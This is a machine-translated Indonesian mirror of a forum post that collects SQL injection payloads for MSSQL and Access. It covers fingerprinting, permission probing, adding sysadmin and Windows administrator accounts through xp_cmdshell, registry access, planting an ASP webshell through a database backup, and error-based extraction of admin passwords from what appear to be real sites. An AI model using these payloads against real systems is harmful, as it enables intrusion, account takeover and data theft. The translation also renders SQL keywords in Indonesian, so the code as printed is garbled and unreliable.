Artikel ini adalah artikel cermin dari terjemahan mesin, silakan klik di sini untuk melompat ke artikel aslinya.

Melihat: 14167|Jawab: 0

[Komunikasi Aman] Pernyataan umum injeksi SQL

[Salin tautan]
Diposting pada 22/11/2014 17.17.21 | | |
1. Tentukan apakah ada suntikan
; dan 1=1
; dan 1=2

2. Penilaian pendahuluan apakah itu mssql
; dan pengguna>0

3. Menilai sistem database
; dan (pilih count(*) dari sysobjects)>0 mssql
; dan (pilih count(*) dari msysobjects)>0 akses

4. Parameter injeksi adalah karakter
'dan [kriteria kueri] dan ''='

5. Tidak ada parameter yang difilter selama pencarian
'dan [kriteria kueri] dan '%25'='

6. Tebak nama meja
; dan (pilih Count(*) dari [nama tabel])>0

7. Tebak lapangannya
; dan (pilih Hitung (nama bidang) dari nama tabel)>0

8. Tebak panjang catatan di lapangan
; dan (pilih 1 len teratas(nama bidang) dari nama tabel)>0

9. (1) Tebak nilai ASCII bidang (akses)
; dan (pilih 1 asc teratas(mid(nama bidang, 1,1)) dari nama tabel)>0

(2) Tebak nilai ASCII bidang (mssql)
; dan (pilih 1 unicode teratas(substring(nama bidang,1,1)) dari nama tabel)>0

10. Struktur Izin Uji (mssql)
; dan 1=(pilih IS_SRVROLEMEMBER('sysadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('serveradmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('setupadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('securityadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('diskadmin')); --
; dan 1=(pilih IS_SRVROLEMEMBER('bulkadmin')); --
; dan 1=(pilih IS_MEMBER('db_owner')); --

11. Tambahkan akun untuk mssql dan sistem
; nama pengguna master.dbo.sp_addlogin eksekutif; --
; exec master.dbo.sp_password null, nama pengguna, kata sandi; --
; nama pengguna exec master.dbo.sp_addsrvrolemember sysadmin; --
; exec master.dbo.xp_cmdshell 'kata sandi nama pengguna pengguna bersih /workstation:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'kata sandi nama pengguna pengguna bersih /add'; --
; exec master.dbo.xp_cmdshell 'Nama pengguna Administrator Grup Lokal Net /Add'; --

12. (1) Melintasi katalog
; Buat dirs tabel(Jalur varchar(100), id int)
; Masukkan dirs exec master.dbo.xp_dirtree 'c:\'
; dan (pilih 1 jalur teratas dari dir)>0
; dan (pilih 1 jalur teratas dari dirs di mana jalur tidak di('jalur yang diperoleh dari langkah sebelumnya'))>)

(2) Melintasi katalog
; buat temp tabel (id nvarchar (255), num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255)); --
; masukkan master.dbo.xp_availablemedia eksekutif sementara; -- Dapatkan semua drive saat ini
; masukkan ke dalam temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Dapatkan daftar subdirektori
; masukkan ke dalam temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Dapatkan struktur hierarki direktori untuk semua subdirektori
; masukkan ke dalam temp(id) exec master.dbo.xp_cmdshell 'ketik c:\web\index.asp'; -- Lihat isi file

13. Prosedur tersimpan di mssql
xp_regenumvalues Kunci root registri, kunci anak
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' mengembalikan semua nilai kunci dalam beberapa set rekaman
xp_regread Kunci akar, kunci turunan, nama nilai kunci
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' mengembalikan nilai kunci set
xp_regwrite Kunci akar, kunci turunan, nama nilai, jenis nilai, nilai
Ada dua jenis jenis nilai REG_SZ REG_DWORD untuk jenis karakter, dan untuk bilangan bulat
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' ke registri
xp_regdeletevalue Kunci root, sub-kunci, nama nilai
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' untuk menghapus nilai
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' untuk menghapus kunci, termasuk semua nilai di bawah kunci tersebut

14. MSSQL Backup membuat webshell
Gunakan model
buat tabel cmd (gambar str);
masukkan ke dalam nilai cmd(str) ('<% Dim oScript %>');
mencadangkan model database ke disk='c:\l.asp';

15. Fungsi bawaan MSSQL
; dan (pilih @@version)>0 untuk mendapatkan nomor versi Windows
; dan user_name()='dbo' untuk menentukan apakah pengguna yang terhubung dari sistem saat ini adalah SA
; dan (pilih user_name())>0 Meledakkan pengguna yang terhubung dari sistem saat ini
; dan (pilih db_name())>0 untuk mendapatkan database yang saat ini terhubung



Pelanggaran database beranotasi tangan MSSQL

1. Mengekspos nama tabel dan nama kolom saat ini
Kirim "'having 1=1--" setelah titik injeksi untuk mendapatkan pesan kembali dalam bahasa Inggris, di mana Anda dapat melihat nama tabel dan nama kolom. Kirimkan "grup berdasarkan nama daftar yang memiliki 1=1--" untuk mendapatkan nama kolom lain; Lanjutkan mengirimkan "grup berdasarkan daftar nama tabel yang terekspos, nama tabel yang diekspos. Nama kolom kedua memiliki 1=1--", yang memberi Anda nama kolom lain. Terapkan dengan cara yang sama hingga halaman tidak lagi mengembalikan pesan kesalahan untuk mendapatkan semua nama kolom. Trivia: Nama tabel dan nama kolom kekerasan digunakan dalam kombinasi dengan pernyataan GROUP BY dalam SQL untuk membuat penilaian bersyarat. Karena pernyataan tidak lengkap, database mengembalikan pesan kesalahan dan menampilkan nama tabel dan nama kolom. Metode dasar hanya dapat mengekspos tabel saat ini dalam database, dan jika tabel berisi banyak nama kolom, sangat sulit untuk menggunakan metode dasar.

Pertama. Semua nama database diekspos
Gunakan pernyataan "dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=[N])" untuk mengekspos nama tabel dan nama kolom arbitrer dalam database, di mana "[N]" mewakili tabel ke-N dalam database.
Langkah 1: Setelah menyuntikkan poin, kirimkan pernyataan berikut: "dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=12)", karena nilai dbid adalah dari 1 hingga 5, yang digunakan oleh sistem, jadi pengguna harus membangunnya dari 6, dan kami mengirimkan namanya>1, bidang nama adalah bidang jenis karakter, dan perbandingan angka akan salah, jadi setelah pengiriman, IE akan mengembalikan informasi berikut: "Penyedia Microsoft OLE DB untuk kesalahan Driver ODBC ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] mengonversi nilai nvarchar 'Northwind' ke tipe data int kolom. Dengan cara ini, nilai bidang nama diekspos, yaitu kita mendapatkan nama database "Northwind". Mengubah nilai "dbid" bisa mendapatkan semua nama database.

dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=[N])-- Ubah N untuk meledakkan semua nama database dari 6


Kedua. Mengekspos semua nama tabel dalam database yang ditentukan
Setelah mendapatkan nama database, sekarang Anda perlu mendapatkan semua nama tabel di pustaka, kirimkan pernyataan berikut: "dan 0<>(pilih nama 1 teratas dari master.dbo.sysobjects di mana xtype='U')", berikut adalah nama tabel dalam database master, dan pernyataan SQL dari kueri mengembalikan nilai nama, lalu bandingkan dengan angka 0, sehingga nilai nama akan diekspos. Setelah mengirimkan, nama meja adalah "'spt_monito" terungkap.
Kemudian tabel lain diekspos, dan pernyataan berikut dikirimkan: "dan 0<>(pilih nama 1 teratas dari master.dbo.sysobjects di mana xtype='U' dan name not in('spt_monito'))", dan tabel lain bernama "cd512" diekspos. File "dan nama tidak di(' spt_monito',' CD512',..))" Anda dapat mengetahui semua nama tabel.

dan 0<>(pilih nama 1 teratas dari [tentukan nama database].dbo.sysobjects di mana xtype='U')--
dan 0<>(pilih nama 1 teratas dari [tentukan nama database].dbo.sysobjects di mana xtype='U' dan nama tidak di('[Nama tabel yang meledak]'))--
dan 0<>(pilih nama 1 teratas dari [tentukan nama database].dbo.sysobjects di mana xtype='U' dan nama tidak di('[Nama tabel yang meledak]', '[Nama tabel kedua yang meledak]')))--

4. Mengekspos semua nama kolom dalam tabel yang ditentukan
dan 0<>(pilih count(*) dari bbs.dbo.sysobjects di mana xtype='U' dan name='admin' dan uid>(str(id)))
Konversi nilai ID ke jenis karakter lalu bandingkan dengan nilai bilangan bulat. Nomor ID keluar. Nilainya adalah: 949578421 name='nama tabel'

dan 0<>(pilih nama 1 teratas dari wutong.dbo.syscolumns di mana id=949578421)-- Nama bidang di tabel admin diekspos

Kirim ulang dan 0<>(pilih nama 1 teratas dari wutong.dbo.syscolumns di mana id=949578421 dan nama tidak di('adduser'))))--
File "dan nama tidak di(' spt_monito',' CD512',..))" Anda dapat menemukan semua nama bidang di tabel admin.


dan 0<>(pilih count(*) dari [tentukan nama database].dbo.sysobjects di mana xtype='U' dan name='[Nama tabel bidang yang akan diledakkan]' dan uid>(str(id)))--Nilai ID dari nama tabel bidang yang akan diledakkan

dan 0<>(pilih nama 1 teratas dari [tentukan nama database].dbo.syscolumns di mana id=nilai id meledak)-- Nama bidang dalam tabel nilai id yang meledak

dan 0<>(pilih nama 1 teratas dari [tentukan nama database].dbo.syscolumns di mana id=Nilai id eksplosif dan nama tidak di('[Nama bidang yang meledak]'))))--



5. Baca data dalam tabel yang ditentukan

dan 0<(pilih A_ID dari wutong.dbo.admin di mana A_UserID>1) -- konten yang merusak A_PWD

dan 0<(pilih [bidang yang ada] dari [tentukan nama database].dbo.[nama tabel untuk kueri] di mana [nama bidang untuk meledakkan konten]>1)--

dan 0<(pilih A_ID dari wutong.dbo.admin di mana A_PWD>1 dan A_UserID='admin')-- Kata sandi admin terekspos


dan 0<(Pilih 1 Teratas A_UserID DARI admin di mana A_ID<>1)-- Nama administrator id<>1 (fuhao)

dan 0<(Pilih Top 1 A_UserID DARI admin di mana A_ID <>1 dan A_UserID <> 'fuhao')-- Nama admin kedua tidak <> sama dengan (tuiguang)

dan 0<(Pilih Top 1 A_UserID DARI admin di mana A_ID <>1 dan A_UserID <> 'fuhao' dan A_UserID <> 'tuiguang')--

Setelah mengetahui nama tabel dan nama kolom database, Anda dapat menggunakan "pernyataan kueri" untuk membaca informasi apa pun dalam database. Misalnya, jika Anda ingin membaca data Ke-N dalam kolom dalam tabel, Anda dapat mengirimkan pernyataan: "dan (Pilih nama kolom 1 teratas DARI nama tabel di mana id=[N])>1" ([N] mewakili data Ke-N dalam kolom), dan Anda dapat mengetahui data yang diinginkan dari informasi yang dikembalikan oleh IE.






Mantan:Cara menyembunyikan file rar terkompresi dalam file jpg
Depan:Kumpulkan "Harry Potter" 1~7 Keluarkan dan bagikan Jika Anda tidak menyukainya, jangan semprotkan
Sanggahan:
Semua perangkat lunak, materi pemrograman, atau artikel yang diterbitkan oleh Code Farmer Network hanya untuk tujuan pembelajaran dan penelitian; Konten di atas tidak boleh digunakan untuk tujuan komersial atau ilegal, jika tidak, pengguna akan menanggung semua konsekuensi. Informasi di situs ini berasal dari Internet, dan sengketa hak cipta tidak ada hubungannya dengan situs ini. Anda harus sepenuhnya menghapus konten di atas dari komputer Anda dalam waktu 24 jam setelah pengunduhan. Jika Anda menyukai program ini, harap dukung perangkat lunak asli, pembelian pendaftaran, dan dapatkan layanan asli yang lebih baik. Jika ada pelanggaran, silakan hubungi kami melalui email.

Mail To:help@itsvse.com